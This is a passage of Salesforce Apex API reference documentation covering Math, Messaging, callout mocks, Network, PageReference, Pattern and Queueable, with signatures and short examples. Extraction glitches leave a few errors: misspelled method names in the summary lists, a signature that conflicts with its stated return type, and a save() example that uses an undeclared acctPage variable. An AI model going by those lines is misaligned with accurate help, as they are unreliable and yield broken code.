Decimal d2 = 5.5;
Long i2 = Math.roundToLong(d2);
System.assertEquals(6, i2);

**roundToLong(doubleValue)**

Returns the closest Long to the specified Double.

**Signature**

```
public static Long roundToLong(Double doubleValue)
```

**Parameters**

doubleValue
  Type: Double

**Return Value**

Type: Long

**signum(decimalValue)**

Returns the signum function of the specified Decimal, which is 0 if `decimalValue` is 0, 1.0 if `decimalValue` is greater than 0, -1.0 if `decimalValue` is less than 0.

**Signature**

```
public static Decimal signum(Decimal decimalValue)
```

**Parameters**

decimalValue
  Type: Decimal

**Return Value**

Type: Decimal

**signum(doubleValue)**

Returns the signum function of the specified Double, which is 0 if `doubleValue` is 0, 1.0 if `doubleValue` is greater than 0, -1.0 if `doubleValue` is less than 0.

**Signature**

```
public static Double signum(Double doubleValue)
```
Parameters
doubleValue
  Type: Double

Return Value
Type: Double

\textbf{sin (decimalAngle)}

Returns the trigonometric sine of the angle specified by \textit{decimalAngle}.

Signature
public static Decimal sin(Decimal decimalAngle)

Parameters
decimalAngle
  Type: Decimal

Return Value
Type: Decimal

\textbf{sin (doubleAngle)}

Returns the trigonometric sine of the angle specified by \textit{doubleAngle}.

Signature
public static Double sin(Double doubleAngle)

Parameters
doubleAngle
  Type: Double

Return Value
Type: Double

\textbf{sinh (decimalAngle)}

Returns the hyperbolic sine of \textit{decimalAngle}. The hyperbolic sine of \textit{decimalAngle} is defined to be \((e^x - e^{-x})/2\) where \(e\) is Euler's number.

Signature
public static Decimal sinh(Decimal decimalAngle)
Parameters

\[ \text{decimalAngle} \]
Type: \text{Decimal}

Return Value
Type: \text{Decimal}

**sinh(doubleAngle)**

Returns the hyperbolic sine of \( \text{doubleAngle} \). The hyperbolic sine of \( \text{doubleAngle} \) is defined to be \((e^{\text{doubleAngle}} - e^{-\text{doubleAngle}})/2\) where \( e \) is Euler's number.

**Signature**

```java
public static Double sinh(Double doubleAngle)
```

Parameters

\[ \text{doubleAngle} \]
Type: \text{Double}

Return Value
Type: \text{Double}

**sqrt(decimalValue)**

Returns the correctly rounded positive square root of \( \text{decimalValue} \).

**Signature**

```java
public static Decimal sqrt(Decimal decimalValue)
```

Parameters

\[ \text{decimalValue} \]
Type: \text{Decimal}

Return Value
Type: \text{Decimal}

**sqrt(doubleValue)**

Returns the correctly rounded positive square root of \( \text{doubleValue} \).

**Signature**

```java
public static Double sqrt(Double doubleValue)
```
Parameters
doubleValue
Type: Double

Return Value
Type: Double

tan(decimalAngle)
Returns the trigonometric tangent of the angle specified by decimalAngle.

Signature
public static Decimal tan(Decimal decimalAngle)

Parameters
decimalAngle
Type: Decimal

Return Value
Type: Decimal

tan(doubleAngle)
Returns the trigonometric tangent of the angle specified by doubleAngle.

Signature
public static Double tan(Double doubleAngle)

Parameters
doubleAngle
Type: Double

Return Value
Type: Double

tanh(decimalAngle)
Returns the hyperbolic tangent of decimalAngle. The hyperbolic tangent of decimalAngle is defined to be \((e^x - e^{-x})/(e^x + e^{-x})\) where \(e\) is Euler's number. In other words, it is equivalent to \(\sinh (x) / \cosh (x)\). The absolute value of the exact tanh is always less than 1.
Signature

public static Decimal tanh(Decimal decimalAngle)

Parameters

decimalAngle
Type: Decimal

Return Value
Type: Decimal

tanh(doubleAngle)

Returns the hyperbolic tangent of doubleAngle. The hyperbolic tangent of doubleAngle is defined to be \((e^x - e^{-x})/(e^x + e^{-x})\) where \(e\) is Euler's number. In other words, it is equivalent to \(\sinh(x) / \cosh(x)\). The absolute value of the exact \(\tanh\) is always less than 1.

Signature

public static Double tanh(Double doubleAngle)

Parameters

doubleAngle
Type: Double

Return Value
Type: Double

Messaging Class

Contains messaging methods used when sending a single or mass email.

Namespace

System

Messaging Methods

The following are methods for Messaging. All are instance methods.

IN THIS SECTION:

    reserveMassEmailCapacity(amountReserved)
    Reserves email capacity to send mass email to the specified number of email addresses, after the current transaction commits.

    reserveSingleEmailCapacity(amountReserved)
    Reserves email capacity to send single email to the specified number of email addresses, after the current transaction commits.
sendEmail(emails, allOrNothing)
Sends the list of email objects instantiated with either SingleEmailMessage or MassEmailMessage and returns a list of SendEmailResult objects.

sendEmailMessage(emailMessageIds, allOrNothing)
Sends up to 10 draft email messages as defined by the specified email message IDs and returns a list of SendEmailResult objects.

reserveMassEmailCapacity(amountReserved)
Reserves email capacity to send mass email to the specified number of email addresses, after the current transaction commits.

Signature
public Void reserveMassEmailCapacity(Integer amountReserved)

Parameters
amountReserved
Type: Integer

Return Value
Type: Void

Usage
This method can be called when you know in advance how many addresses emails will be sent to as a result of the transaction. If the transaction would cause the organization to exceed its daily email limit, using this method results in the following error:
System.HandledException: The daily limit for the org would be exceeded by this request.
If the organization doesn’t have permission to send API or mass email, using this method results in the following error:
System.NoAccessException: The organization is not permitted to send email.

reserveSingleEmailCapacity(amountReserved)
Reserves email capacity to send single email to the specified number of email addresses, after the current transaction commits.

Signature
public Void reserveSingleEmailCapacity(Integer amountReserved)

Parameters
amount Reserved
Type: Integer

Return Value
Type: Void
Usage
This method can be called when you know in advance how many addresses emails will be sent to as a result of the transaction. If the transaction would cause the organization to exceed its daily email limit, using this method results in the following error:
System.HandledException: The daily limit for the org would be exceeded by this request. If the organization doesn’t have permission to send API or mass email, using this method results in the following error:
System.NoAccessException: The organization is not permitted to send email.

sendEmail(emails, allOrNothing)
Sends the list of email objects instantiated with either SingleEmailMessage or MassEmailMessage and returns a list of SendEmailResult objects.

Signature
public Messaging.SendEmailResult[] sendEmail(Messaging.Email[] emails, Boolean allOrNothing)

Parameters
emails
Type: Messaging.Email[]

allOrNothing
Type: Boolean

The optional opt_allOrNone parameter specifies whether sendEmail prevents delivery of all other messages when any of the messages fail due to an error (true), or whether it allows delivery of the messages that don’t have errors (false). The default is true.

Return Value
Type: Messaging.SendEmailResult[]

sendEmailMessage(emailMessageIds, allOrNothing)
Sends up to 10 draft email messages as defined by the specified email message IDs and returns a list of SendEmailResult objects.

Signature
public Messaging.SendEmailResult[] sendEmailMessage(List<ID> emailMessageIds, Boolean allOrNothing)

Parameters
emailMessageIds
Type: List<ID>

allOrNothing
Type: Boolean
Return Value

Type: `Messaging.SendEmailResult[]`

Usage

The `sendEmailMessage` method assumes that the optional `opt_allOrNone` parameter is always `false` and ignores the value you set. This optional parameter specifies whether `sendEmailMessage` prevents delivery of all other messages when any of the messages fail due to an error (`true`), or whether it allows delivery of the messages that don't have errors (`false`).

Example

This example shows how to send a draft email message. It creates a case and a new email message associated with the case. Next, the example sends a draft email message and checks the results. Before running this example, make sure to replace the email address with a valid address.

```java
Case c = new Case();
insert c;

EmailMessage e = new EmailMessage();
e.parentId = c.id;
// Set to draft status.
// This status is required
// for sendEmailMessage().
e.Status = '5';
e.TextBody = 'Sample email message.';
e.Subject = 'Apex sample';
e.ToAddress = 'customer@email.com';
insert e;

List<Messaging.SendEmailResult> results =
    Messaging.sendEmailMessage(new ID[]
    { e.id });

System.assertEquals(1, results.size());
System.assertEquals(true,
    results[0].success);
```

**MultiStaticResourceCalloutMock Class**

Utility class used to specify a fake response using multiple resources for testing HTTP callouts.

**Namespace**

*System*

**Usage**

Use the methods in this class to set the response properties for testing HTTP callouts. You can specify a resource for each endpoint.
IN THIS SECTION:

**MultiStaticResourceCalloutMock Constructors**

The following are constructors for `MultiStaticResourceCalloutMock`.

**IN THIS SECTION:**

**MultiStaticResourceCalloutMock()**

Creates a new instance of the `System.MultiStaticResourceCalloutMock` class.

**Signature**

```java
public MultiStaticResourceCalloutMock()
```

**MultiStaticResourceCalloutMock Methods**

The following are methods for `MultiStaticResourceCalloutMock`. All are instance methods.

**IN THIS SECTION:**

**setHeader(headerName, headerValue)**

Sets the specified header name and value for the fake response.

**setStaticResource(endpoint, resourceName)**

Sets the specified static resource corresponding to the endpoint. The static resource contains the response body.

**setStatus(httpStatus)**

Sets the specified HTTP status for the response.

**getStatusCode(httpStatusCode)**

Sets the specified HTTP status code for the response.

**setHeader(headerName, headerValue)**

Sets the specified header name and value for the fake response.

**Signature**

```java
public void setHeader(String headerName, String headerValue)
```

**Parameters**

- `headerName`
  - Type: `String`
headerValue
  Type: String

Return Value
Type: Void

**setStaticResource** *(endpoint, resourceName)*
Sets the specified static resource corresponding to the endpoint. The static resource contains the response body.

**Signature**

```
public Void setStaticResource(String endpoint, String resourceName)
```

**Parameters**

- **endpoint**
  Type: String

- **resourceName**
  Type: String

**Return Value**
Type: Void

**setStatus** *(httpStatus)*
Sets the specified HTTP status for the response.

**Signature**

```
public Void setStatus(String httpStatus)
```

**Parameters**

- **httpStatus**
  Type: String

**Return Value**
Type: Void

**setStatusCode** *(httpStatusCode)*
Sets the specified HTTP status code for the response.

**Signature**

```
public Void setStatusCode(Integer httpStatusCode)
```
Parameters

httpStatusCode
Type: Integer

Return Value
Type: Void

Network Class

 Represents a community.

Namespace

 System

Usage

 Use the method in the Network class to determine which community a user is currently logged into.

IN THIS SECTION:

 Network Constructors
 Network Methods

Network Constructors

 The following are constructors for Network.

IN THIS SECTION:

 Network()

 Creates a new instance of the System.Network class.

 Signature

 public Network()

Network Methods

 The following are methods for Network. All methods are static.
IN THIS SECTION:

communitiesLanding()
Returns a Page Reference to the default landing page for the community. This is the first tab of the community.

forwardToAuthPage(startURL)
Returns a Page Reference to the default login page. StartURL is included as a query parameter for where to redirect after a successful login.

getLoginUrl(networkId)
Returns the absolute URL of the login page used by the community.

gelogoutUrl(networkId)
Returns the absolute URL of the logout page used by the community.

getNetworkId()
Returns the user’s current community.

gGetSelfRegUrl(networkId)
Returns the absolute URL of the self-registration page used by the community.

loadAllPackageDefaultNetworkDashboardSettings()
Maps the dashboards from the Salesforce Communities Dashboards package onto each community’s unconfigured dashboard settings. Returns the number of settings it configures.

loadAllPackageDefaultNetworkPulseSettings()
Maps the Insights reports from the Salesforce Communities Dashboards package onto each community’s unconfigured Insights settings. Returns the number of settings it configures.

**communitiesLanding()**

Returns a Page Reference to the default landing page for the community. This is the first tab of the community.

**Signature**

```java
public static String communitiesLanding()
```

**Return Value**

Type: PageReference

**Usage**

If Communities isn’t enabled for the user’s organization or the user is currently in the internal organization, returns null.

**forwardToAuthPage(startURL)**

Returns a Page Reference to the default login page. StartURL is included as a query parameter for where to redirect after a successful login.

**Signature**

```java
public static PageReference forwardToAuthPage(String startURL)
```
Parameters

*startURL*
  Type: String

Return Value

Type: PageReference

Usage

If Communities isn’t enabled for the user’s organization or the user is currently in the internal organization, returns null.

**getLoginUrl(networkId)**

Returns the absolute URL of the login page used by the community.

Signature

```
public static String getLoginUrl(String networkId)
```

Parameters

*networkId*
  Type: String
  The ID of the community you’re retrieving this information for.

Return Value

Type: String

Usage

Returns the full URL for the Force.com or Community Builder page used as the login page in the community.

**getLogoutUrl(networkId)**

Returns the absolute URL of the logout page used by the community.

Signature

```
public static String getLogoutUrl(String networkId)
```

Parameters

*networkId*
  Type: String
  The ID of the community you’re retrieving this information for.
Return Value
Type: String

Usage
Returns the full URL for the Force.com page, Community Builder page, or Web page used as the logout page in the community.

**getNetworkId()**
Returns the user’s current community.

Signature
public static String getNetworkId()

Return Value
Type: String

Usage
If Communities isn’t enabled for the user’s organization or the user is currently in the internal organization, returns null.

**getSelfRegUrl(networkId)**
Returns the absolute URL of the self-registration page used by the community.

Signature
public static String getSelfRegUrl(String networkId)

Parameters

* networkId
  Type: String
  The ID of the community you’re retrieving this information for.

Return Value
Type: String

Usage
Returns the full URL for the Force.com or Community Builder page used as the self-registration page in the community.

loadAllPackageDefaultNetworkDashboardSettings()
Maps the dashboards from the Salesforce Communities Dashboards package onto each community’s unconfigured dashboard settings. Returns the number of settings it configures.
Signature

public static Integer loadAllPackageDefaultNetworkDashboardSettings()  

Return Value

Type: Integer

Usage

If Communities is enabled, and the Salesforce Communities Dashboards package is installed, maps the dashboards provided in the package onto each community’s unconfigured dashboard settings. Returns the number of settings it configures. This method is invoked automatically during community creation and package installation, but isn’t typically invoked manually.

If Communities isn’t enabled for the user’s organization or the user is in the internal organization, returns 0.

loadAllPackageDefaultNetworkPulseSettings()

Maps the Insights reports from the Salesforce Communities Dashboards package onto each community’s unconfigured Insights settings. Returns the number of settings it configures.

Signature

public static Integer loadAllPackageDefaultNetworkPulseSettings()  

Return Value

Type: Integer

Usage

If Communities is enabled, and the Salesforce Communities Dashboards package is installed, maps the Insights reports provided in the package onto each community’s unconfigured Insights settings. Returns the number of settings it configures. This method is invoked automatically during community creation and package installation, but isn’t typically invoked manually.

If Communities isn’t enabled for the user’s organization or the user is in the internal organization, returns 0.

PageReference Class

A PageReference is a reference to an instantiation of a page. Among other attributes, PageReferences consist of a URL and a set of query parameter names and values.

Namespace

System

Use a PageReference object:

- To view or set query string parameters and values for a page
- To navigate the user to a different page as the result of an action method
**Instantiation**

In a custom controller or controller extension, you can refer to or instantiate a PageReference in one of the following ways:

- **Page.**existingPageName

  Refers to a PageReference for a Visualforce page that has already been saved in your organization. By referring to a page in this way, the platform recognizes that this controller or controller extension is dependent on the existence of the specified page and will prevent the page from being deleted while the controller or extension exists.

- **PageReference pageRef = new PageReference(’partialURL’);**

  Creates a PageReference to any page that is hosted on the Force.com platform. For example, setting 'partialURL' to '/apex/HelloWorld' refers to the Visualforce page located at http://mySalesforceInstance/apex/HelloWorld. Likewise, setting 'partialURL' to '/' + 'recordID' refers to the detail page for the specified record.

  This syntax is less preferable for referencing other Visualforce pages than Page.**existingPageName** because the PageReference is constructed at runtime, rather than referenced at compile time. Runtime references are not available to the referential integrity system. Consequently, the platform doesn't recognize that this controller or controller extension is dependent on the existence of the specified page and won't issue an error message to prevent user deletion of the page.

- **PageReference pageRef = new PageReference(’fullURL’);**

  Creates a PageReference for an external URL. For example:

  ```plaintext
  PageReference pageRef = new PageReference(’http://www.google.com’);
  ```

  You can also instantiate a PageReference object for the current page with the currentPage ApexPages method. For example:

  ```plaintext
  PageReference pageRef = ApexPages.currentPage();
  ```

**Request Headers**

The following table is a non-exhaustive list of headers that are set on requests.

<table>
<thead>
<tr>
<th>Header</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Host</td>
<td>The host name requested in the request URL. This header is always set on Force.com Site requests and My Domain requests. This header is optional on other requests when HTTP/1.0 is used instead of HTTP/1.1.</td>
</tr>
<tr>
<td>Referer</td>
<td>The URL that is either included or linked to the current request’s URL. This header is optional.</td>
</tr>
<tr>
<td>User-Agent</td>
<td>The name, version, and extension support of the program that initiated this request, such as a Web browser. This header is optional and can be overridden in most browsers to be a different value. Therefore, this header should not be relied upon.</td>
</tr>
<tr>
<td>CipherSuite</td>
<td>If this header exists and has a non-blank value, this means that the request is using HTTPS. Otherwise, the request is using HTTP. The contents of a non-blank value are not defined by this API, and can be changed without notice.</td>
</tr>
<tr>
<td>Header</td>
<td>Description</td>
</tr>
<tr>
<td>-----------------------------</td>
<td>-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>X-Salesforce-SIP</td>
<td>The source IP address of the request. This header is always set on HTTP and HTTPS requests that are initiated outside of Salesforce’s data centers.</td>
</tr>
<tr>
<td></td>
<td>Note: If a request passes through a content delivery network (CDN) or proxy server, the source IP address might be altered, and no longer the original client IP address.</td>
</tr>
<tr>
<td>X-Salesforce-Forwarded-To</td>
<td>The fully qualified domain name of the Salesforce instance that is handling this request. This header is always set on HTTP and HTTPS requests that are initiated outside of Salesforce’s data centers.</td>
</tr>
</tbody>
</table>

### Example: Retrieving Query String Parameters

The following example shows how to use a PageReference object to retrieve a query string parameter in the current page URL. In this example, the `getAccount` method references the `id` query string parameter:

```java
public class MyController {
    public Account getAccount() {
        return [SELECT Id, Name FROM Account
            WHERE Id = :ApexPages.currentPage().getParameters().get('Id')];
    }
}
```

The following page markup calls the `getAccount` method from the controller above:

```xml
<apex:page controller="MyController">
    <apex:pageBlock title="Retrieving Query String Parameters">
        You are viewing the {!account.name} account.
    </apex:pageBlock>
</apex:page>
```

Note: For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if 001D000000IRt53 is the account ID, the resulting URL should be:

https://Salesforce_instance/apex/MyFirstPage?id=001D000000IRt53

The `getAccount` method uses an embedded SOQL query to return the account specified by the `id` parameter in the URL of the page. To access `id`, the `getAccount` method uses the `ApexPages` namespace:

- First the `currentPage` method returns the `PageReference` instance for the current page. `PageReference` returns a reference to a Visualforce page, including its query string parameters.
- Using the page reference, use the `getParameters` method to return a map of the specified query string parameter names and values.
- Then a call to the `get` method specifying `id` returns the value of the `id` parameter itself.

### Example: Navigating to a New Page as the Result of an Action Method

Any action method in a custom controller or controller extension can return a `PageReference` object as the result of the method. If the `redirect` attribute on the `PageReference` is set to `true`, the user navigates to the URL specified by the `PageReference`. 
The following example shows how this can be implemented with a `save` method. In this example, the PageReference returned by the `save` method redirects the user to the detail page for the account record that was just saved:

```java
public class mySecondController {
    Account account;

    public Account getAccount() {
        if(account == null) account = new Account();
        return account;
    }

    public PageReference save() {
        // Add the account to the database.
        insert account;
        // Send the user to the detail page for the new account.
        acctPage.setRedirect(true);
        return acctPage;
    }
}
```

The following page markup calls the `save` method from the controller above. When a user clicks `Save`, he or she is redirected to the detail page for the account just created:

```html
<apex:page controller="mySecondController" tabStyle="Account">
    <apex:sectionHeader title="New Account Edit Page" />
    <apex:form>
        <apex:pageBlock title="Create a New Account">
            <apex:pageBlockButtons location="bottom">
                <apex:commandButton action="{!save}" value="Save"/>
            </apex:pageBlockButtons>
            <apex:pageBlockSection title="Account Information">
                <apex:inputField id="accountName" value="{!account.name}"/>
                <apex:inputField id="accountSite" value="{!account.site}"/>
            </apex:pageBlockSection>
        </apex:pageBlock>
    </apex:form>
</apex:page>
```

IN THIS SECTION:
- PageReference Constructors
- PageReference Methods

**PageReference Constructors**

The following are constructors for `PageReference`.

IN THIS SECTION:
- `PageReference(partialURL)`
  Creates a new instance of the `PageReference` class using the specified URL.
PageReference(record)
Creates a new instance of the PageReference class for the specified sObject record.

**PageReference(partialURL)**
Creates a new instance of the PageReference class using the specified URL.

**Signature**

```java
public PageReference(String partialURL)
```

**Parameters**

`partialURL`
Type: String

The partial URL of a page hosted on the Force.com platform or a full external URL. The following are some examples of the `partialURL` parameter values:

- `/apex/HelloWorld` refers to the Visualforce page located at http://mySalesforceInstance/apex/HelloWorld.
- `/recordID` refers to the detail page of a specified record.
- `http://www.google.com` refers to an external URL.

**PageReference(record)**
Creates a new instance of the PageReference class for the specified sObject record.

**Signature**

```java
public PageReference(SObject record)
```

**Parameters**

`record`
Type: SObject

The sObject record to create a page reference for.

**PageReference Methods**
The following are methods for PageReference. All are instance methods.

**IN THIS SECTION:**

- `getAnchor()`
  Returns the name of the anchor referenced in the page's URL. That is, the part of the URL after the hashtag (#).  
- `getContent()`
  Returns the output of the page, as displayed to a user in a web browser.
getContentAsPDF()
Returns the page in PDF, regardless of the `<apex:page>` component’s `renderAs` attribute.

getCookies()
Returns a map of cookie names and cookie objects, where the key is a String of the cookie name and the value contains the list of cookie objects with that name.

getHeaders()
Returns a map of the request headers, where the key string contains the name of the header, and the value string contains the value of the header.

getParameters()
Returns a map of the query string parameters that are included in the page URL. The key string contains the name of the parameter, while the value string contains the value of the parameter.

getRedirect()
Returns the current value of the PageReference object’s `redirect` attribute.

getUrl()
Returns the relative URL associated with the PageReference when it was originally defined, including any query string parameters and anchors.

setAnchor(anchor)
Sets the URL’s anchor reference to the specified string.

setCookies(cookies)
Creates a list of cookie objects. Used in conjunction with the Cookie class.

setRedirect(redirect)
Sets the value of the PageReference object’s `redirect` attribute. If set to `true`, a redirect is performed through a client side redirect.

**getAnchor()**
Returns the name of the anchor referenced in the page’s URL. That is, the part of the URL after the hashtag (#).

**Signature**

```java
public String getAnchor()
```

**Return Value**

Type: `String`

**getContent()**
Returns the output of the page, as displayed to a user in a web browser.

**Signature**

```java
public Blob getContent()
```
Return Value
Type: Blob

Usage
The content of the returned Blob depends on how the page is rendered. If the page is rendered as a PDF file, it returns the PDF document. If the page is not rendered as PDF, it returns HTML. To access the content of the returned HTML as a string, use the toString Blob method.

Note: If you use getContent in a test method, the test method fails. getContent is treated as a callout in API version 34.0 and later.

This method can't be used in:
- Triggers
- Test methods
- Apex email services

If the Visualforce page has an error, an ExecutionException is thrown.

getContentAsPDF()
Returns the page in PDF, regardless of the <apex:page> component's renderAs attribute.

Signature
public Blob getContentAsPDF()

Return Value
Type: Blob

Usage
Note: If you use getContentAsPDF in a test method, the test method fails. getContentAsPDF is treated as a callout in API version 34.0 and later.

This method can't be used in:
- Triggers
- Test methods
- Apex email services

getCookies()
Returns a map of cookie names and cookie objects, where the key is a String of the cookie name and the value contains the list of cookie objects with that name.

Signature
public Map<String, System.Cookie[]> getCookies()
Return Value  
Type: Map<String, System.Cookie[]>

Usage  
Used in conjunction with the Cookie class. Only returns cookies with the “apex__” prefix set by the setCookies method.

**getHeaders()**  
Returns a map of the request headers, where the key string contains the name of the header, and the value string contains the value of the header.

Signature  
```java
public Map<String, String> getHeaders()
```

Return Value  
Type: Map<String, String>

Usage  
This map can be modified and remains in scope for the PageReference object. For instance, you could do:

```java
PageReference.getHeaders().put('Date', '9/9/99');
```

For a description of request headers, see Request Headers.

**getParameters()**  
Returns a map of the query string parameters that are included in the page URL. The key string contains the name of the parameter, while the value string contains the value of the parameter.

Signature  
```java
public Map<String, String> getParameters()
```

Return Value  
Type: Map<String, String>

Usage  
This map can be modified and remains in scope for the PageReference object. For instance, you could do:

```java
PageReference.getParameters().put('id', myID);
```

Parameter keys are case-insensitive. For example:

```java
System.assert(
    ApexPages.currentPage().getParameters().get('myParamName') ==
    ApexPages.currentPage().getParameters().get('myparamname'));
```
**getRedirect()**
Returns the current value of the PageReference object's redirect attribute.

**Signature**
```
public Boolean getRedirect()
```

**Return Value**
Type: Boolean

**Usage**
Note that if the URL of the PageReference object is set to a website outside of the salesforce.com domain, the redirect always occurs, regardless of whether the redirect attribute is set to true or false.

**getUrl()**
Returns the relative URL associated with the PageReference when it was originally defined, including any query string parameters and anchors.

**Signature**
```
public String getUrl()
```

**Return Value**
Type: String

**setAnchor(anchor)**
Sets the URL's anchor reference to the specified string.

**Signature**
```
public System.PageReference setAnchor(String anchor)
```

**Parameters**
anchor
Type: String

**Return Value**
Type: System.PageReference

**Example**
For example, https://Salesforce_instance/apex/my_page#anchor1.
setCookies(cookies)
Creates a list of cookie objects. Used in conjunction with the Cookie class.

Signature
public Void setCookies(Cookie[] cookies)

Parameters
cookies
Type: System.Cookie[]

Return Value
Type: Void

Usage
Important:
• Cookie names and values set in Apex are URL encoded, that is, characters such as @ are replaced with a percent sign and their hexadecimal representation.
• The setCookies method adds the prefix “apex__” to the cookie names.
• Setting a cookie’s value to null sends a cookie with an empty string value instead of setting an expired attribute.
• After you create a cookie, the properties of the cookie can’t be changed.
• Be careful when storing sensitive information in cookies. Pages are cached regardless of a cookie value. If you use a cookie value to generate dynamic content, you should disable page caching. For more information, see “Caching Force.com Sites Pages” in the Salesforce online help.

setRedirect(redirect)
Sets the value of the PageReference object’s redirect attribute. If set to true, a redirect is performed through a client side redirect.

Signature
public System.PageReference setRedirect(Boolean redirect)

Parameters
redirect
Type: Boolean

Return Value
Type: System.PageReference
Usage

This type of redirect performs an HTTP GET request, and flushes the view state, which uses POST. If set to `false`, the redirect is a server-side forward that preserves the view state if and only if the target page uses the same controller and contains the proper subset of extensions used by the source page.

Note that if the URL of the PageReference object is set to a website outside of the `salesforce.com` domain, or to a page with a different controller or controller extension, the redirect always occurs, regardless of whether the `redirect` attribute is set to `true` or `false`.

Pattern Class

Represents a compiled representation of a regular expression.

Namespace

`System`

Pattern Methods

The following are methods for `Pattern`.

IN THIS SECTION:

`compile(regExp)`

Compiles the regular expression into a Pattern object.

`matcher(regExp)`

Creates a Matcher object that matches the input string `regExp` against this Pattern object.

`matches(regExp, stringtoMatch)`

Compiles the regular expression `regExp` and tries to match it against the specified string. This method returns `true` if the specified string matches the regular expression, `false` otherwise.

`pattern()`

Returns the regular expression from which this Pattern object was compiled.

`quote(yourString)`

Returns a string that can be used to create a pattern that matches the string `yourString` as if it were a literal pattern.

`split(regExp)`

Returns a list that contains each substring of the String that matches this pattern.

`split(regExp, limit)`

Returns a list that contains each substring of the String that is terminated either by the regular expression `regExp` that matches this pattern, or by the end of the String.

`compile(regExp)`

Compiles the regular expression into a Pattern object.
Signature
public static Pattern compile(String regExp)

Parameters
regExp
Type: String

Return Value
Type: System.Pattern

matcher(regExp)
Creates a Matcher object that matches the input string regExp against this Pattern object.

Signature
public Matcher matcher(String regExp)

Parameters
regExp
Type: String

Return Value
Type: Matcher

matches(regExp, stringtoMatch)
Compiles the regular expression regExp and tries to match it against the specified string. This method returns true if the specified string matches the regular expression, false otherwise.

Signature
public static Boolean matches(String regExp, String stringtoMatch)

Parameters
regExp
Type: String
stringtoMatch
Type: String

Return Value
Type: Boolean
Usage
If a pattern is to be used multiple times, compiling it once and reusing it is more efficient than invoking this method each time.

Example
Note that the following code example:

```java
Pattern.matches(regExp, input);
```

produces the same result as this code example:

```java
Pattern.compile(regex).matcher(input).matches();
```

`pattern()`
Returns the regular expression from which this Pattern object was compiled.

Signature
```
public String pattern()
```

Return Value
Type: `String`

`quote(yourString)`
Returns a string that can be used to create a pattern that matches the string `yourString` as if it were a literal pattern.

Signature
```
public static String quote(String yourString)
```

Parameters
`yourString`
Type: `String`

Return Value
Type: `String`

Usage
Metacharacters (such as `\$` or `^`) and escape sequences in the input string are treated as literal characters with no special meaning.

`split(regExp)`
Returns a list that contains each substring of the String that matches this pattern.
Signature

public String[] split(String regExp)

Parameters

regExp
Type: String

Return Value

Type: String[]

Note: In API version 34.0 and earlier, a zero-width regExp value produces an empty list item at the beginning of the method's output.

Usage

The substrings are placed in the list in the order in which they occur in the String. If regExp does not match the pattern, the resulting list has just one element containing the original String.

split(regExp, limit)

Returns a list that contains each substring of the String that is terminated either by the regular expression regExp that matches this pattern, or by the end of the String.

Signature

public String[] split(String regExp, Integer limit)

Parameters

regExp
Type: String

limit
Type: Integer
(Optional) Controls the number of times the pattern is applied and therefore affects the length of the list.

- If limit is greater than zero:
  - The pattern is applied a maximum of (limit – 1) times.
  - The list's length is no greater than limit.
  - The list's last entry contains all input beyond the last matched delimiter.

- If limit is non-positive, the pattern is applied as many times as possible, and the list can have any length.

- If limit is zero, the pattern is applied as many times as possible, the list can have any length, and trailing empty strings are discarded.

Return Value

Type: String[]
Queueable Interface

Enables the asynchronous execution of Apex jobs that can be monitored.

Namespace

System

Usage

To execute Apex as an asynchronous job, implement the Queueable interface and add the processing logic in your implementation of the execute method.

To implement the Queueable interface, you must first declare a class with the implements keyword as follows:

```java
public class MyQueueableClass implements Queueable {
}
```

Next, your class must provide an implementation for the following method:

```java
public void execute(QueueableContext context) {
    // Your code here
}
```

Your class and method implementation must be declared as public or global.

To submit your class for asynchronous execution, call the System.enqueueJob by passing it an instance of your class implementation of the Queueable interface as follows:

```java
ID jobID = System.enqueueJob(new MyQueueableClass());
```

---

IN THIS SECTION:

- Queueable Methods
- Queueable Example Implementation

SEE ALSO:

- Queueable Apex

Queueable Methods

The following are methods for Queueable.

IN THIS SECTION:

- execute(context)
  - Executes the queueable job.
**execute(context)**

Executes the queueable job.

**Signature**

```java
public void execute(QueueableContext context)
```

**Parameters**

- **context**
  - Type: `QueueableContext`
  - Contains the job ID.

**Return Value**

Type: Void

**Queueable Example Implementation**

This example is an implementation of the `Queueable` interface. The `execute` method in this example inserts a new account.

```java
public class AsyncExecutionExample implements Queueable {
    public void execute(QueueableContext context) {
        Account a = new Account(Name='Acme', Phone='(415) 555-1212');
        insert a;
    }
}
```

To add this class as a job on the queue, call this method:

```java
ID jobID = System.enqueueJob(new AsyncExecutionExample());
```

After you submit your queueable class for execution, the job will be added to the queue and will be processed when system resources become available. You can monitor the status of your job programmatically by querying `AsyncApexJob` or through the user interface in Setup by entering **Apex Jobs** in the Quick Find box, then selecting **Apex Jobs**.

To query information about your submitted job, perform a SOQL query on `AsyncApexJob` by filtering on the job ID that the `System.enqueueJob` method returns. This example uses the `jobID` variable that was obtained in the previous example.

```java
AsyncApexJob jobInfo = [SELECT Status, NumberOfErrors FROM AsyncApexJob WHERE Id=:jobID];
```

Similar to future jobs, queueable jobs don’t process batches, and so the number of processed batches and the number of total batches are always zero.

**Testing Queueable Jobs**

This example shows how to test the execution of a queueable job in a test method. A queueable job is an asynchronous process. To ensure that this process runs within the test method, the job is submitted to the queue between the `Test.startTest` and `Test.stopTest` block. The system executes all asynchronous processes started in a test method synchronously after the
Test.stopTest statement. Next, the test method verifies the results of the queueable job by querying the account that the job created.

```java
@isTest
public class AsyncExecutionExampleTest {
    static testmethod void test1() {
        // startTest/stopTest block to force async processes
        // to run in the test.
        Test.startTest();
        System.enqueueJob(new AsyncExecutionExample());
        Test.stopTest();

        // Validate that the job has run
        // by verifying that the record was created.
        // This query returns only the account created in test context by the
        // Queueable class method.
        Account acct = [
            SELECT Name,Phone FROM Account WHERE Name='Acme' LIMIT 1
        ];
        System.assertNotEquals(null, acct);
        System.assertEquals('(415) 555-1212', acct.Phone);
    }
}
```

Note: The ID of a queueable Apex job isn’t returned in test context—System.enqueueJob returns null in a running test.

QueueableContext Interface

Represents the parameter type of the execute() method in a class that implements the Queueable interface and contains the job ID. This interface is implemented internally by Apex.

Namespace

System

QueueableContext Methods

The following are methods for QueueableContext.

IN THIS SECTION:

getJobId()

Returns the ID of the submitted job that uses the Queueable interface.

getJobId()

Returns the ID of the submitted job that uses the Queueable interface.

Signature

```java
public ID getJobId()
```
Return Value
Type: ID
The ID of the submitted job.

QuickAction Class
Use Apex to request and process actions on objects that allow custom fields, on objects that appear in a Chatter feed, or on objects that are available globally.

Namespace
System

Example
